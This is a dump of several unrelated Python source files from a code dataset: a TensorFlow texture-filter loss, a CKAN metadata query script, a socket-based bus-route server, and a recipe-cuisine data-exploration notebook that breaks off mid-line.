def texture_filter_bank_loss(self, y, y_gt):\n\n y = tf.reshape(y, [self.batch_sz, 28, 28, 1])\n y_gt = tf.reshape(y_gt, [self.batch_sz, 28, 28, 1])\n\n y_filter_response = im2filter_response(y, self.filter_tf)\n y_gt_filter_response = im2filter_response(y_gt, self.filter_tf)\n l2_loss2 = tf.nn.l2_loss(y_filter_response - y_gt_filter_response)\n #print('Loss shape ',tf.shape(l2_loss2))\n # y_hist = filter_response2histogram(\n # y_filter_response, self.centroids_numpy, self.num_bins,\n # self.batch_sz)\n # y_gt_hist = filter_response2histogram(\n # y_gt_filter_response, self.centroids_numpy, self.num_bins,\n # self.batch_sz)\n #\n # # l2_loss = tf.reduce_mean(tf.nn.l2_loss(y_hist - y_gt_hist))\n # #self.hist = y_hist;\n # #l2_loss = tf.nn.l2_loss(y_hist - y_gt_hist)\n #\n # #l2_loss = tf.reduce_sum(tf.abs(y_hist - y_gt_hist))\n # equ = tf.equal(y_hist , y_gt_hist);\n #l2_loss = -tf.reduce_sum(equ )\n return l2_loss2\n\n\ndef im2filter_response(imgs, filter_kernel_4d):\n \"\"\"\n constructs texture filter response for a mini-batch of grayscale images\n imgs: NxHxWx1 batch of *GRAYSCALE* images\n filter_kernel: 4-D filter kernel [height x width x 1 x num_channels]\n returns NxHxWxC tensor of C-channels of filter responses\n \"\"\"\n # normalize each image\n means, variances = tf.nn.moments(imgs, axes=[1, 2, 3], keep_dims=True)\n imgs = (imgs - means) / tf.sqrt(variances)\n\n # Flip kernels so to convert Tf's cross-correlation to actual convolution!\n flip = [slice(None, None, -1), slice(None, None, -1)]\n filter_kernel_4d = filter_kernel_4d[flip]\n\n # num_channels = filter_kernel_4d.get_shape()[-1]\n mini_batch_shape = imgs.get_shape()\n print(mini_batch_shape)\n # [n_batch, height, width, _] = mini_batch_shape\n\n response = tf.nn.conv2d(imgs, filter_kernel_4d, strides=[1, 1, 1, 1],\n padding='SAME')\n response_norm = tf.norm(response, axis=3, keep_dims=True) # NxHxWx1\n sc = tf.log(1 + (response_norm / 0.03))\n\n numerator = tf.multiply(response, sc)\n return tf.divide(numerator, response_norm)\n\n\ndef filter_response2histogram(filter_responses, training_class_centroids,\n num_bins, batch_sz):\n \"\"\"\n Builds texture descriptor (normalized histogram) from filter response\n filter_responses: NxHxWxC tensor where C is number of filter channels\n training_class_centroids: NxC NumPy array. N is # of centroids\n num_bins: number of bins in the output histogram (MUST be a divisor of\n the number of centroids)\n batch_sz: mini_batch size\n \"\"\"\n\n # 1) Compute KNN for each pixel in each image in the mini_batch\n\n num_centroids, response_sz = training_class_centroids.shape\n training_class_centroids = tf.convert_to_tensor(training_class_centroids)\n\n queries = tf.reshape(filter_responses, [batch_sz, -1, 1, response_sz])\n centroids = tf.reshape(training_class_centroids, [1, 1, num_centroids, -1])\n\n diff = tf.square(queries - centroids)\n dist = tf.reduce_sum(diff, axis=3)\n # knn = tf.argmin(dist, axis=2, output_type=tf.int32) #TF v1.4\n knn = tf.argmin(dist, axis=2)\n knn = tf.cast(knn, tf.float32)\n\n # 2) Compute a histogram for each image. NxNUM_BINS\n\n # The following is a work around to compute separate histograms for\n # each image in the mini_batch\n batch_shifter = tf.range(0, batch_sz, dtype=tf.float32) * num_centroids\n batch_shifter = tf.expand_dims(batch_shifter, -1) # for broadcasting\n knn = knn + batch_shifter\n histograms_flattened = tf.histogram_fixed_width(\n knn, [0.0, num_centroids * batch_sz * 1.0], num_bins * batch_sz)\n histograms = tf.reshape(histograms_flattened, [batch_sz, -1])\n histograms = tf.cast(histograms, tf.float32)\n\n # 3) Normalize each histogram by dividing it by its sum\n\n hist_sums = tf.reduce_sum(histograms, axis=1, keep_dims=True)\n normalized_histograms = histograms / hist_sums\n\n return normalized_histograms\n","sub_path":"texture_loss.py","file_name":"texture_loss.py","file_ext":"py","file_size_in_byte":5617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"512373619","text":"'''\nCreated on 23 de fev de 2016\n\n@author: lapaesleme\n'''\nfrom ckanapi import RemoteCKAN\nfrom datacrawler.utils import save_data\nhome = 'http://ckan.org/instances/#'\nhome = 'https://publicdata.eu/'\nhome = 'http://ckan.bopen.eu'\nhome = 'https://datahub.io/'\nhome = 'http://linkeddatacatalog.dws.informatik.uni-mannheim.de' \ncatalog = RemoteCKAN(home, user_agent='lapaesleme')\n\nlimit = 10\noffset = 10000000\n# metadata = catalog.action.package_list(offset=offset, limit=limit)\n# print(metadata)\n\n# id = 'cnr_cnr_lod'\n# id = 'rkb-explorer-acm'\n# metadata = catalog.action.package_show(id=id, version=1)\n# save_data(metadata, 'arq.json')\n\nsince = '1000-01-01T00:00:00.000Z'\ntry:\n metadata = catalog.action.package_search(fq='metadata_modified:[{} TO NOW]'.format(since)\n , sort='metadata_modified desc'\n , start=offset \n , rows=limit)['results']\nexcept:\n metadata = catalog.rest.dataset(limit=10, offset=0)\n\nfor m in metadata:\n print (m)\n\n\n","sub_path":"Testes/src/teste/teste17.py","file_name":"teste17.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"317925215","text":"#!/usr/bin/env python3\n#-*- coding:utf-8 -*-\n\nimport socket\nimport select\nimport time\nimport sys\nimport re\nimport sys\nimport os\n\ndef reset_variable(final_time,route_number,fail_route):\n final_time = \"23:59\"\n route_number = 0\n fail_route = 0\n\ndef avoid_favicon(sk,listen_list):\n responseHeaderLines = \"HTTP/1.1 404 Not Found\\r\\n\"\n responseHeaderLines += \"\\r\\n\"\n responseBody = \"\"\n response = responseHeaderLines + responseBody\n sk.send(response.encode('utf-8'))\n sk.close()\n listen_list.remove(sk)\n \n\ndef is_favicon(destination):\n if destination == 'favicon.ico':\n return True\n else:\n return False\n\ndef Find_nextBus(a, timetable):\n leaving_time = timetable[a][0]\n bus_no = timetable[a][1]\n stop_no = timetable[a][2]\n arriving_time = timetable[a][3]\n next_station = timetable[a][4]\n return leaving_time,bus_no,stop_no,arriving_time,next_station\n\ndef is_time(data):\n if ':' in data:\n return True\n else:\n return False\n\ndef Send_response(responseHeader,body,listen_list):\n response = responseHeader + body\n sk = listen_list[2]\n sk.send(response.encode('utf-8'))\n sk.close()\n listen_list.remove(sk)\n\n\ndef Handler_request(rawdata):\n destination = \"\"\n reuquest_header_lines = rawdata.splitlines()\n http_header_data = reuquest_header_lines[0]\n data_list = re.split(r\"/|\\?\\s|=| \",http_header_data)\n for i in range(len(data_list)):\n if data_list[i] == 'HTTP':\n destination = data_list[i-1]\n else:\n continue\n return destination\n\n\n\ndef is_timetableChange(stationname,c_time):\n change_time = time.ctime(os.stat('tt-'+stationname).st_mtime)\n if c_time < change_time:\n return True\n else:\n return False\n\n\ndef readTimetable(stationname):\n time_table = []\n with open('tt-'+stationname,'r') as f:\n for line in f.readlines():\n line = line.strip('\\n')\n lines = line.split(',')\n time_table.append(lines)\n f.close()\n return time_table\n\n\ndef main():\n #read the input from command\n if len(sys.argv) < 5:\n print(\"Please insert engough parameters\")\n sys.exit()\n \n station_name = sys.argv[1]\n TCPport = int(sys.argv[2])\n UDPport = int(sys.argv[3])\n neighbour = []\n for i in range(4, len(sys.argv)):\n number = int(sys.argv[i])\n neighbour.append(number)\n \n final_time = \"23:59\"\n host = 'localhost'\n\n #based on the station name to read the txt file as a list\n timetable = readTimetable(station_name)\n modify_time = time.ctime(os.stat('tt-'+station_name).st_mtime)\n\n #create a TCP socket to listen request from browswer\n TCPsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n TCPsocket.bind((host,TCPport))\n TCPsocket.listen(10)\n TCPsocket.setblocking(False)\n\n #innitial a UDP socket for i/o of this server station\n UDPsocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n UDPsocket.bind((host, UDPport))\n\n listen_list = [TCPsocket,UDPsocket,]\n route_number = 0\n fail_route = 0\n print(listen_list)\n #set up an infinite loop to listen and deal with the udp things\n #And listen for all different socket by using select module\n while True:\n print('-------------------get into the loop---------------')\n read,write,error = select.select(listen_list,[],[])\n\n for sk in read:\n #there is a new client get into connection\n if sk == TCPsocket:\n print('-----------a new TCP connection-------------')\n conn, addr = TCPsocket.accept()\n conn.setblocking(False)\n listen_list.append(conn)\n \n #the udp socket recieve datagram from others\n elif sk == UDPsocket:\n print('-----------a conmmunication from UDP--------------')\n data, address= UDPsocket.recvfrom(1024)\n data1 = data.decode('utf-8')\n print(data1)\n recv_data = data1.split(';')\n if recv_data[0] == 'Find':\n exist = False\n for i in range(1, len(timetable)):\n #find the destination\n if recv_data[1] == timetable[i][4] :\n recv_data[0] = 'Route'\n data2 = \";\".join(recv_data)\n back_data = data2 + ';' + station_name + ';' + str(UDPport)\n sk.sendto(back_data.encode('utf-8'), address)\n break\n #send the route of str to next station\n elif i == len(timetable)-1 and (timetable[i][4] != recv_data[1] or timetable[i][0] < ctime ) :\n send_data = data1 + ';' + station_name + ';' + str(UDPport)\n station_num = (len(recv_data)-1)/2\n for i in range(len(neighbour)):\n if str(neighbour[i]) not in recv_data:\n sk.sendto(send_data.encode('utf-8'),(host,neighbour[i]))\n else:\n continue\n else:\n continue\n #send back the entire route from origin to destination\n elif recv_data[0] == 'Route':\n #if this station is not the origin, continue to send back\n if station_name != recv_data[2]:\n for i in range(len(recv_data)):\n if recv_data[i] == station_name:\n send_port = int(recv_data[i-1])\n sk.sendto(data,(host,send_port))\n break\n else:\n continue\n #if this is the origin\n else:\n recv_data[0] = 'Reroute'\n now = time.strftime(\"%H:%M\")\n for i in range(1, len(timetable)):\n if timetable[i][0]> now and timetable[i][4] == recv_data[4]:\n route_number += 1\n recv_data.append(timetable[i][3])\n data2 = \";\".join(recv_data)\n sk.sendto(data2.encode('utf-8'),(host, int(recv_data[5])))\n break\n elif i == len(timetable)-1 and (timetable[i][4] != recv_data[1] or timetable[i][0] < ctime ):\n fail_route += 1\n if route_number == len(neighbour):\n responseHeaderLines = \"HTTP/1.1 404 Not Found\\r\\n\"\n responseHeaderLines += \"\\r\\n\"\n responseBody = \"no bus/train today to destination\\nplease find another way1\"\n Send_response(responseHeaderLines,responseBody,listen_list)\n reset_variable(final_time,route_number,fail_route)\n else:\n continue\n #fllowing by route to find the arriving time\n elif recv_data[0] == 'Reroute':\n send_port = 0\n ctime = recv_data[len(recv_data)-1]\n if recv_data[len(recv_data)-3] == station_name:\n recv_data[0] = 'Get'\n for i in range(len(recv_data)):\n if recv_data[i] == station_name:\n send_port = int(recv_data[i-1])\n break\n for i in range(1, len(timetable)):\n if timetable[i][0]> ctime and timetable[i][4] == recv_data[1]:\n arrive_time = timetable[i][3]\n recv_data[len(recv_data)-1] = arrive_time\n data2 = \";\".join(recv_data)\n sk.sendto(data2.encode('utf-8'),(host,send_port))\n break\n elif i == len(timetable)-1 and (timetable[i][4] != recv_data[1] or timetable[i][0] < ctime):\n msg = \"no\"\n recv_data[len(recv_data)-1] = msg\n data2 = \";\".join(recv_data)\n sk.sendto(data2.encode('utf-8'),(host,send_port))\n break\n else:\n continue\n else:\n next_station = \"\"\n send_port = 0\n for i in range(len(recv_data)):\n if recv_data[i] == station_name:\n send_port = int(recv_data[i+3])\n next_station = recv_data[i+2]\n for i in range(1,len(timetable)):\n if timetable[i][0]> ctime and timetable[i][4] == next_station:\n ctime = timetable[i][3]\n recv_data[len(recv_data)-1] = ctime\n data2 = \";\".join(recv_data)\n sk.sendto(data2.encode('utf-8'),(host,send_port))\n break\n elif i == len(timetable)-1 and (timetable[i][4] != recv_data[1] or timetable[i][0] < ctime):\n recv_data[0] = 'Get'\n msg = \"no\"\n recv_data[len(recv_data)-1] = msg\n data2 = \";\".join(recv_data)\n sk.sendto(data2.encode('utf-8'),(address))\n break\n else:\n continue\n #the arrive time has been sent\n elif recv_data[0] == 'Get':\n route_number -= 1\n #if the station is not the origin one\n if station_name != recv_data[2]:\n for i in range(len(recv_data)):\n if recv_data[i] == station_name:\n send_port = int(recv_data[i-1])\n sk.sendto(data,(host,send_port))\n #the arriving time has been sent to the origin\n else:\n print('-----------------route number is: %d',route_number)\n if is_time(recv_data[len(recv_data)-1]):\n arrive_time = recv_data[len(recv_data)-1]\n if arrive_time < final_time:\n final_time = arrive_time\n else:\n continue\n\n if route_number == 0:\n if final_time != \"23:59\":\n stop = \"\"\n leaving_time = \"\"\n bus_no = \"\"\n next_station = \"\"\n for i in range(1,len(timetable)):\n if timetable[i][0]> time.strftime(\"%H:%M\") and timetable[i][4] == recv_data[4]:\n leaving_time,bus_no,stop_no,Atime,arrive_stop = Find_nextBus(i,timetable)\n break\n responseHeaderLines = \"HTTP/1.1 200 OK\\r\\n\"\n responseHeaderLines += \"\\r\\n\"\n responseBody = \"leaving time is: \" + leaving_time + \"\\n\" + \"bus number is: \" + bus_no + \"\\n\" + \"stop name is: \" + stop_no + \"\\n\" + \"next station is: \"+ next_station + \"\\n\" + \"arriving at next station at: \" + Atime + \"\\n\" + \"arriving destination at: \" + final_time\n Send_response(responseHeaderLines,responseBody,listen_list)\n reset_variable(final_time,route_number,fail_route)\n break\n else:\n responseHeaderLines = \"HTTP/1.1 404 Not Found\\r\\n\"\n responseHeaderLines += \"\\r\\n\"\n print(recv_data)\n responseBody = \"no bus/train today to destination\\nplease find another way\"\n Send_response(responseHeaderLines,responseBody,listen_list)\n reset_variable(final_time,route_number,fail_route)\n break\n else:\n print('----------------request from client----------------')\n if is_timetableChange(station_name,modify_time):\n readTimetable(station_name)\n modify_time = time.ctime(os.stat('tt-'+destination).st_mtime)\n data = sk.recv(1024).decode('utf-8')\n if data == '':\n listen_list.remove(sk)\n sk.close()\n break\n else:\n exist = False\n destination = Handler_request(data)\n print(destination)\n if is_favicon(destination):\n avoid_favicon(sk,listen_list)\n break\n for i in range(1,len(timetable)):\n print(timetable[i][4])\n print(type(timetable[i][4]))\n if (timetable[i][4] == destination) and timetable[i][0] > time.strftime(\"%H:%M\"):\n leaving_time,bus_no,stop_no,final_time,arrive_stop = Find_nextBus(i,timetable)\n responseHeaderLines = \"HTTP/1.1 200 OK\\r\\n\"\n responseHeaderLines += \"\\r\\n\"\n responseBody = \"leaving time is: \" + leaving_time + \"\\n\" + \"bus number is: \" + bus_no + \"\\n\" + \"stop name is: \" + stop_no + \"\\n\" + \"next stop is: \"+ arrive_stop + \"\\n\" + \"arriving time is: \" + final_time\n Send_response(responseHeaderLines,responseBody,listen_list)\n break\n elif timetable[i][0] <= time.strftime(\"%H:%M\") and i == len(timetable)-1:\n responseHeaderLines = \"HTTP/1.1 404 Not Found\\r\\n\"\n responseHeaderLines += \"\\r\\n\"\n responseBody = \"no more bus today\\nPlease find another way\"\n response = responseHeaderLines + responseBody\n Send_response(responseHeaderLines,responseBody,listen_list)\n break\n elif timetable[i][4] == destination:\n exist = True\n continue\n elif exist == False and timetable[i][0] > time.strftime(\"%H:%M\") and i == len(timetable)-1:\n send_data = 'Find;'+destination+\";\"+station_name+\";\"+str(UDPport)\n for i in neighbour:\n UDPsocket.sendto(send_data.encode('utf-8'),(host,i))\n else:\n continue\n UDPsocket.close()\n TCPsocket.close()\n\nif __name__ == '__main__':\n main()","sub_path":"src/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":15696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"367927439","text":"# Data processing \r\nimport pandas as pd\r\nimport json\r\nfrom collections import Counter\r\nfrom itertools import chain\r\nfrom sklearn.feature_extraction.text import TfidfVectorizer\r\nimport numpy as np\r\nimport re\r\n\r\n# Data vizualizations\r\nimport random\r\nimport plotly\r\nfrom plotly import tools\r\nfrom plotly.offline import download_plotlyjs, init_notebook_mode, plot, iplot \r\ninit_notebook_mode(connected=True)\r\nimport plotly.offline as offline\r\nimport plotly.graph_objs as go\r\n\r\n# Data Modeling\r\nfrom sklearn.feature_extraction.text import CountVectorizer\r\nfrom sklearn.preprocessing import LabelEncoder\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn.svm import SVC\r\nfrom sklearn.ensemble import VotingClassifier\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn.model_selection import KFold\r\nfrom sklearn import model_selection \r\nimport warnings\r\nwarnings.filterwarnings('ignore')\r\n\r\ntrain_data = pd.read_json('train.json') # store as dataframe objects\r\ntest_data = pd.read_json('test.json')\r\n\r\ntrain_data.info()\r\n\r\ntrain_data.shape # 39774 observations, 3 columns\r\n\r\nprint(\"The training data consists of {} recipes\".format(len(train_data)))\r\n\r\nprint(\"First five elements in our training sample:\")\r\nprint(train_data.head())\r\n\r\ntest_data.info()\r\n\r\ntest_data.shape # 9944 observations, 2 columns\r\n\r\nprint(\"The test data consists of {} recipes\".format(len(test_data)))\r\n\r\nprint(\"First five elements in our test sample:\")\r\nprint(test_data.head())\r\n\r\n\r\nprint(\"Number of cuisine categories: {}\".format(len(train_data.cuisine.unique())))\r\nprint(train_data.cuisine.unique())\r\n\r\ndef random_colours(number_of_colors):\r\n '''\r\n Simple function for random colours generation.\r\n Input:\r\n number_of_colors - integer value indicating the number of colours which are going to be generated.\r\n Output:\r\n Color in the following format: ['#E86DA4'] .\r\n '''\r\n colors = []\r\n for i in range(number_of_colors):\r\n colors.append(\"#\"+''.join([random.choice('0123456789ABCDEF') for j in range(6)]))\r\n return colors\r\n\r\ntrace = go.Table(\r\n header=dict(values=['Cuisine','Number of recipes'],\r\n fill = dict(color=['#EABEB0']), \r\n align = ['left'] * 5),\r\n cells=dict(values=[train_data.cuisine.value_counts().index,train_data.cuisine.value_counts()],\r\n align = ['left'] * 5))\r\n\r\nlayout = go.Layout(title='Number of recipes in each cuisine category',\r\n titlefont = dict(size = 20),\r\n width=500, height=650, \r\n paper_bgcolor = 'rgba(0,0,0,0)',\r\n plot_bgcolor = 'rgba(0,0,0,0)',\r\n autosize = False,\r\n margin=dict(l=30,r=30,b=1,t=50,pad=1),\r\n )\r\ndata = [trace]\r\nfig = dict(data=data, layout=layout)\r\niplot(fig)\r\n\r\n# Label distribution in percents\r\nlabelpercents = []\r\nfor i in train_data.cuisine.value_counts():\r\n percent = (i/sum(train_data.cuisine.value_counts()))*100\r\n percent = \"%.2f\" % percent\r\n percent = str(percent + '%')\r\n labelpercents.append(percent)\r\n \r\n trace = go.Bar(\r\n x=train_data.cuisine.value_counts().values[::-1],\r\n y= [i for i in train_data.cuisine.value_counts().index][::-1],\r\n text =labelpercents[::-1], textposition = 'outside', \r\n orientation = 'h',marker = dict(color = random_colours(20)))\r\nlayout = go.Layout(title='Number of recipes in each cuisine category',\r\n titlefont = dict(size = 25),\r\n width=1000, height=450, \r\n plot_bgcolor = 'rgba(0,0,0,0)',\r\n paper_bgcolor = 'rgba(255, 219, 227, 0.88)',\r\n margin=dict(l=75,r=110,b=50,t=60),\r\n )\r\ndata = [trace]\r\nfig = dict(data=data, layout=layout)\r\niplot(fig, filename='horizontal-bar')\r\n\r\nprint('Maximum Number of Ingredients in a Dish: ',train_data['ingredients'].str.len().max())\r\nprint('Minimum Number of Ingredients in a Dish: ',train_data['ingredients'].str.len().min())\r\n\r\ntrace = go.Histogram(\r\n x= train_data['ingredients'].str.len(),\r\n xbins=dict(start=0,end=90,size=1),\r\n marker=dict(color='#7CFDF0'),\r\n opacity=0.75)\r\ndata = [trace]\r\nlayout = go.Layout(\r\n title='Distribution of Recipe Length',\r\n xaxis=dict(title='Number of ingredients'),\r\n yaxis=dict(title='Count of recipes'),\r\n bargap=0.1,\r\n bargroupgap=0.2)\r\n\r\nfig = go.Figure(data=data, layout=layout)\r\niplot(fig)\r\n\r\nlongrecipes = train_data[train_data['ingredients'].str.len() > 30]\r\nprint(\"It seems that {} recipes consist of more than 30 ingredients!\".format(len(longrecipes)))\r\n\r\n\r\nprint(\"Explore the ingredients in the longest recipe in our training set:\" + \"\\n\")\r\nprint(str(list(longrecipes[longrecipes['ingredients'].str.len() == 65].ingredients.values)) + \"\\n\")\r\nprint(\"Cuisine: \" + str(list(longrecipes[longrecipes['ingredients'].str.len() == 65].cuisine)))\r\n\r\nshortrecipes = train_data[train_data['ingredients'].str.len() <= 2]\r\nprint(\"It seems that {} recipes consist of less than or equal to 2 ingredients!\".format(len(shortrecipes)))\r\n\r\nprint(\"Explore the ingredients in the shortest recipes in our training set:\" + \"\\n\")\r\nprint(list(train_data[train_data['ingredients'].str.len() == 1].ingredients.values))\r\nprint(\"And there corresponding labels\" + \"\\n\")\r\nprint(list(train_data[train_data['ingredients'].str.len() == 1].cuisine.values))\r\n\r\nboxplotcolors = random_colours(21)\r\nlabels = [i for i in train_data.cuisine.value_counts().index][::-1]\r\ndata = []\r\nfor i in range(20):\r\n trace = go.Box(\r\n y=train_data[train_data['cuisine'] == labels[i]]['ingredients'].str.len(), name = labels[i],\r\n marker = dict(color = boxplotcolors[i]))\r\n data.append(trace)\r\nlayout = go.Layout(\r\n title = \"Recipe Length Distribution by cuisine\"\r\n)\r\n\r\nfig = go.Figure(data=data,layout=layout)\r\niplot(fig, filename = \"Box Plot Styling Outliers\")\r\n\r\nallingredients = [] # this list stores all the ingredients in all recipes (with duplicates)\r\nfor item in train_data['ingredients']:\r\n for ingr in item:\r\n allingredients.append(ingr)\r\n \r\n # Count how many times each ingredient occurs\r\ncountingr = Counter()\r\nfor ingr in allingredients:\r\n countingr[ingr] += 1\r\n \r\n print(\"The most commonly used ingredients (with counts) are:\")\r\nprint(\"\\n\")\r\nprint(countingr.most_common(20))\r\nprint(\"\\n\")\r\nprint(\"The number of unique ingredients in our training sample is {}.\".format(len(countingr)))\r\n\r\n# Extract the first 20 most common ingredients in order to vizualize them for better understanding\r\nmostcommon = countingr.most_common(20)\r\nmostcommoningr = [i[0] for i in mostcommon]\r\nmostcommoningr_count = [i[1] for i in mostcommon]\r\n\r\ntrace = go.Bar(\r\n x=mostcommoningr_count[::-1],\r\n y= mostcommoningr[::-1],\r\n orientation = 'h',marker = dict(color = random_colours(20),\r\n))\r\nlayout = go.Layout(\r\n xaxis = dict(title= 'Number of occurences in all recipes (training sample)', ),\r\n yaxis = dict(title='Ingredient',),\r\n title= '20 Most Common Ingredients', titlefont = dict(size = 20),\r\n margin=dict(l=150,r=10,b=60,t=60,pad=5),\r\n width=800, height=500, \r\n)\r\ndata = [trace]\r\nfig = go.Figure(data=data, layout=layout)\r\niplot(fig, filename='horizontal-bar')\r\n\r\n# Define a function that returns how many different ingredients can be found in all recipes part of a given cuisine\r\ndef findnumingr(cuisine):\r\n '''\r\n Input:\r\n cuisine - cuisine category (ex. greek,souther_us etc.)\r\n Output:\r\n The number of unique ingredients used in all recipes part of the given cuisine. \r\n '''\r\n listofinrg = []\r\n for item in train_data[train_data['cuisine'] == cuisine]['ingredients']:\r\n for ingr in item:\r\n listofinrg.append(ingr)\r\n result = (cuisine,len(list(set(listofinrg)))) \r\n return result\r\n\r\ncuisineallingr = []\r\nfor i in labels:\r\n cuisineallingr.append(findnumingr(i))\r\n \r\n # Vizualize the results\r\ntrace = go.Bar(\r\n x=[i[1] for i in cuisineallingr],\r\n y= [i[0] for i in cuisineallingr],\r\n orientation = 'h',marker = dict(color = random_colours(20),\r\n))\r\nlayout = go.Layout(\r\n xaxis = dict(title= 'Count of different ingredients', ),\r\n yaxis = dict(title='Cuisine',),\r\n title= 'Number of all the different ingredients used in a given cuisine', titlefont = dict(size = 20),\r\n margin=dict(l=100,r=10,b=60,t=60),\r\n width=800, height=500, \r\n)\r\ndata = [trace]\r\nfig = go.Figure(data=data, layout=layout)\r\niplot(fig, filename='horizontal-bar')\r\n\r\nallingredients = list(set(allingredients)) # list containing all unique ingredients\r\n\r\n# Define a function that returns a dataframe with top unique ingredients in a given cuisine \r\ndef cuisine_unique(cuisine,numingr, allingredients):\r\n '''\r\n Input:\r\n cuisine - cuisine category (ex. 'brazilian');\r\n numingr - how many specific ingredients do you want to see in the final result; \r\n allingredients - list containing all unique ingredients in the whole sample.\r\n \r\n Output: \r\n dataframe giving information about the name of the specific ingredient and how many times it occurs in the chosen cuisine (in descending order based on their counts)..\r\n '''\r\n allother = []\r\n for item in train_data[train_data.cuisine != cuisine]['ingredients']:\r\n for ingr in item:\r\n allother .append(ingr)\r\n allother = list(set(allother ))\r\n \r\n specificnonly = [x for x in allingredients if x not in allother]\r\n \r\n mycounter = Counter()\r\n \r\n for item in train_data[train_data.cuisine == cuisine]['ingredients']:\r\n for ingr in item:\r\n mycounter[ingr] += 1\r\n keep = list(specificnonly)\r\n \r\n for word in list(mycounter):\r\n if word not in keep:\r\n del mycounter[word]\r\n \r\n cuisinespec = pd.DataFrame(mycounter.most_common(numingr), columns = ['ingredient','count'])\r\n \r\n return cuisinespec\r\n\r\ncuisinespec= cuisine_unique('mexican', 10, allingredients)\r\nprint(\"The top 10 unique ingredients in Mexican cuisine are:\")\r\nprint(cuisinespec)\r\n\r\n# Vizualization of specific ingredients in the first 10 cuisines\r\nlabels = [i for i in train_data.cuisine.value_counts().index][0:10]\r\ntotalPlot = 10\r\ny = [[item]*2 for item in range(1,10)]\r\ny = list(chain.from_iterable(y))\r\nz = [1,2]*int((totalPlot/2))\r\n\r\nfig = tools.make_subplots(rows= 5, cols=2, subplot_titles= labels, specs = [[{}, {}],[{}, {}],[{}, {}],[{}, {}],[{}, {}]], horizontal_spacing = 0.20)\r\ntraces = []\r\nfor i,e in enumerate(labels): \r\n cuisinespec= cuisine_unique(e, 5, allingredients)\r\n trace = go.Bar(\r\n x= cuisinespec['count'].values[::-1],\r\n y= cuisinespec['ingredient'].values[::-1],\r\n orientation = 'h',marker = dict(color = random_colours(5),))\r\n traces.append(trace)\r\n\r\nfor t,y,z in zip(traces,y,z):\r\n fig.append_trace(t, y,z)\r\n\r\n fig['layout'].update(height=800, width=840,\r\n margin=dict(l=265,r=5,b=40,t=90,pad=5), showlegend=False, title='Ingredients used only in one cuisine')\r\n\r\niplot(fig, filename='horizontal-bar')\r\n\r\n# Vizualization of specific ingredients in the second 10 cuisines\r\nlabels = [i for i in train_data.cuisine.value_counts().index][10:20]\r\ntotalPlot = 10\r\ny = [[item]*2 for item in range(1,10)]\r\ny = list(chain.from_iterable(y))\r\nz = [1,2]*int((totalPlot/2))\r\n\r\nfig = tools.make_subplots(rows= 5, cols=2, subplot_titles= labels, specs = [[{}, {}],[{}, {}],[{}, {}],[{}, {}],[{}, {}]], horizontal_spacing = 0.20)\r\ntraces = []\r\nfor i,e in enumerate(labels): \r\n cuisinespec= cuisine_unique(e, 5, allingredients)\r\n trace = go.Bar(\r\n x= cuisinespec['count'].values[::-1],\r\n y= cuisinespec['ingredient'].values[::-1],\r\n orientation = 'h',marker = dict(color = random_colours(5),))\r\n traces.append(trace)\r\n\r\nfor t,y,z in zip(traces,y,z):\r\n fig.append_trace(t, y,z)\r\n\r\n fig['layout'].update(height=800, width=840,\r\n margin=dict(l=170,r=5,b=40,t=90,pad=5), showlegend=False, title='Ingredient used only in one cuisine')\r\n\r\niplot(fig, filename='horizontal-bar')\r\n\r\n# Prepare the data \r\nfeatures = [] # list of list containg the recipes\r\nfor item in train_data['ingredients']:\r\n features.append(item)\r\n \r\n ingredients = [] # this list stores all the ingredients in all recipes (with duplicates)\r\nfor item in train_data['ingredients']:\r\n for ingr in item:\r\n ingredients.append(ingr)\r\n \r\n len(features) # 39774 recipes\r\n \r\n # Fit the TfidfVectorizer to data\r\ntfidf = TfidfVectorizer(vocabulary= list(set([str(i).lower() for i in ingredients])), max_df=0.99, norm='l2', ngram_range=(1, 4))\r\nX_tr = tfidf.fit_transform([str(i) for i in features]) # X_tr - matrix of tf-idf scores\r\nfeature_names = tfidf.get_feature_names()\r\n\r\n# Define a function for finding the most important features in a given cuisine according to Tf-Idf measure \r\ndef top_feats_by_class(trainsample,target,featurenames, min_tfidf=0.1, top_n=10):\r\n ''' \r\n Input:\r\n trainsample - the tf-idf transformed training sample;\r\n target - the target variable;\r\n featurenames - array mapping from feature integer indices (position in the dataset) to feature name (ingredient in our case) in the Tf-Idf transformed dataset; \r\n min_tfidf - features having tf-idf value below the min_tfidf will be excluded;\r\n top_n - how many important features to show.\r\n Output:\r\n Returns a list of dataframe objects, where each dataframe holds top_n features and their mean tfidf value calculated across documents (recipes) with the same class label (cuisine). \r\n '''\r\n dfs = []\r\n labels = np.unique(target)\r\n \r\n for label in labels:\r\n \r\n ids = np.where(target==label)\r\n D = trainsample[ids].toarray()\r\n D[D < min_tfidf] = 0\r\n tfidf_means = np.nanmean(D, axis=0)\r\n \r\n topn_ids = np.argsort(tfidf_means)[::-1][:top_n] # Get top n tfidf values\r\n top_feats = [(featurenames[i], tfidf_means[i]) for i in topn_ids] # find their corresponding feature names\r\n df = pd.DataFrame(top_feats)\r\n df.columns = ['feature', 'tfidf']\r\n \r\n df['cuisine'] = label\r\n dfs.append(df)\r\n \r\n return dfs\r\n\r\n# Extract the target variable\r\ntarget = train_data['cuisine']\r\n\r\nresult_tfidf = top_feats_by_class(X_tr, target, feature_names, min_tfidf=0.1, top_n=5)\r\n\r\n# Exctract labels from the resulting dataframe\r\nlabels = []\r\nfor i, e in enumerate(result_tfidf):\r\n labels.append(result_tfidf[i].cuisine[0])\r\n\r\n# Set the plot\r\ntotalPlot = 10\r\ny = [[item]*2 for item in range(1,10)]\r\ny = list(chain.from_iterable(y))\r\nz = [1,2]*int((totalPlot/2))\r\n\r\nfig = tools.make_subplots(rows= 5, cols=2, subplot_titles= labels[0:10], specs = [[{}, {}],[{}, {}],[{}, {}],[{}, {}],[{}, {}]], horizontal_spacing = 0.20)\r\ntraces = []\r\nfor index,element in enumerate(result_tfidf[0:10]): \r\n trace = go.Bar(\r\n x= result_tfidf[index].tfidf[::-1],\r\n y= 